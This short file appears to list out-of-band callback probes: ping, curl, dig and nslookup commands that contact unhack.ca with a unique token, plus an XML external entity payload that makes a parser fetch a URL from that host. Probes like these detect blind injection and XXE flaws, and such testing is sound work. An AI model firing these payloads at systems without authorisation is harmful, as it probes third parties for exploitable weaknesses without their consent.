$ ping -c1 -p 008fb12730c10cfa3e9d958addb58300 unhack.ca
 

$ curl http://unhack.ca/p/8fb12730c10cfa3e9d958addb583
 

$ dig 8fb12730c10cfa3e9d958addb583 @unhack.ca
 

$ dig 8fb12730c10cfa3e9d958addb583.ns.unhack.ca
 

C:\> nslookup 8fb12730c10cfa3e9d958addb583 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8fb12730c10cfa3e9d958addb583">]>
    <foo>&xxe;</foo>